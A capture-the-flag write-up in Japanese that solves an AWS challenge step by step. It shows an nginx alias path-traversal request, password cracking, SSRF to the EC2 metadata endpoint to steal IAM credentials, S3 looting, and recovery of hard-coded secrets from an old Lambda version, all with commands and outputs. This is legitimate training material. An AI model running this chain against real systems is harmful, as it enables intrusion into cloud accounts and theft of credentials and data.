[Hard] AWS Pentesting Journey
まず、nginx.confを見ると以下の箇所でいつものパストラバーサルがある。
https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb
location /assets {
alias /usr/share/static/;
}
これを利用して以下のように/usr/share/secret/.htpasswdを取ってくる。
GET /assets../secret/.htpasswd HTTP/1.1 Host: apjweb.scjdaysctf2023.net Connection: close
sjctf@dmin:$apr1$eGvegZM6$GeFQvXGEl/hRtY2SkqePY.と得られる。
johnでクラックしてみるとクラックできてパスワードが得られる。
password (sjctf@dmin)
この認証情報で/admin/に入れる。
phpMyAdminが動いているが何か面白そうなものは得られない。
location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ {
proxy_pass http://$proxy_host/$proxy_path;
proxy_set_header Host $proxy_host;
}
なんかSSRFできそうな雰囲気があり、調べるとSSRFできる。
https://qiita.com/no1zy_sec/items/2718f4a99bb8368ac374
よって
http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/
みたいにしてみると、いつもの出力が得られるので巡回する。
http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1
ここを見ると認証情報が得られる。
"AccessKeyId" : "[REDACTED]",
"SecretAccessKey" : "[REDACTED]",
"Token" : "[REDACTED]",
これを以下のように入れて、
[ctf-hard-aws-pentesting-journey] aws_access_key_id = [REDACTED] aws_secret_access_key = [REDACTED] aws_session_token = [REDACTED]
色々巡回すると、S3に面白そうなファイルが置いてある。
$ aws s3 ls --profile ctf-hard-aws-pentesting-journey
2023-08-13 23:13:07 backup-37szjp8pny7xx01
2023-08-26 22:43:13 camouflagedrop-wxhqft4lqf-assets-wxhqft4lqf-assets
2023-08-26 22:39:22 camouflagedrop-wxhqft4lqf-web-wxhqft4lqf-static
2023-08-22 20:16:14 cdk-hnb659fds-assets-055450064556-ap-northeast-1
2023-08-25 03:05:46 file-storage-afeffefespntbaiw7o5
2023-08-06 21:55:59 himituno-bucket1
2023-08-06 21:58:33 himituno-bucket2
2023-08-06 23:08:46 himituno-bucket3
2023-08-27 02:41:30 my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf
2023-08-22 20:56:47 s3misssignurl-t6j4qj4r-assets-t6j4qj4r-assets-bucket
2023-08-22 20:52:31 s3misssignurl-t6j4qj4r-web-t6j4qj4r-static-host-bucket
2023-08-24 04:24:09 totemo-kawaii-neko-no-namae-ha-lise-desu
2023-08-27 01:18:59 ulxmhiw3jroec7sclynr06fkvhqssf
$ aws s3 ls s3://backup-37szjp8pny7xx01 --profile ctf-hard-aws-pentesting-journey
PRE dbbackup/
2023-08-14 03:02:43 99 dboperator_accessKeys.csv
$ aws s3 cp s3://backup-37szjp8pny7xx01 . --profile ctf-hard-aws-pentesting-journey --recursive
何やら大切そうなデータが見つかる。
別のDBオペレータのアクセスキーが入っている。
$ aws configure --profile ctf-hard-aws-pentesting-journey-dboperator
AWS Access Key ID [None]: [REDACTED]
AWS Secret Access Key [None]: [REDACTED]
Default region name [None]: ap-northeast-1
Default output format [None]:
$ aws sts get-caller-identity --profile ctf-hard-aws-pentesting-journey-dboperator
{
"UserId": "[REDACTED]",
"Account": "[REDACTED]",
"Arn": "arn:aws:iam::055450064556:user/dboperator"
}
$ aws iam list-attached-user-policies --user-name dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
"AttachedPolicies": [
{
"PolicyName": "dboperator",
"PolicyArn": "arn:aws:iam::055450064556:policy/dboperator"
}
]
}
$ aws iam get-policy --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
"Policy": {
"PolicyName": "dboperator",
"PolicyId": "[REDACTED]",
"Arn": "arn:aws:iam::055450064556:policy/dboperator",
"Path": "/",
"DefaultVersionId": "v6",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-08-13T18:18:19+00:00",
"UpdateDate": "2023-08-13T18:57:09+00:00",
"Tags": []
}
}
$ aws iam get-policy-version --version-id v6 --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"lambda:List*",
"lambda:GetFunction",
"lambda:InvokeFunction"
],
"Resource": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup*"
},
{
"Effect": "Allow",
"Action": [
"iam:Get*",
"iam:List*"
],
"Resource": [
"arn:aws:iam::055450064556:policy/dboperator",
"arn:aws:iam::055450064556:user/dboperator"
]
}
]
},
"VersionId": "v6",
"IsDefaultVersion": true,
"CreateDate": "2023-08-13T18:57:09+00:00"
}
}
$ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator
"Location": "[REDACTED]"
lambdaの関数が参照可能。DBバックアップのために実行しているlambdaのスクリプトっぽい…が何もない。
バージョンを見てみると、複数バージョンあった。
$ aws lambda list-versions-by-function --function-name 'db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator "Version": "1", "Version": "2", $ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator --qualifier 1 ... "Location": "[REDACTED]"
古いバージョンのコードが取得でき、こちらでは認証情報がそのまま格納されていた。
これを使って、phpmyadminに入るとフラグが入ったsecretdataというデータベースが見つかる。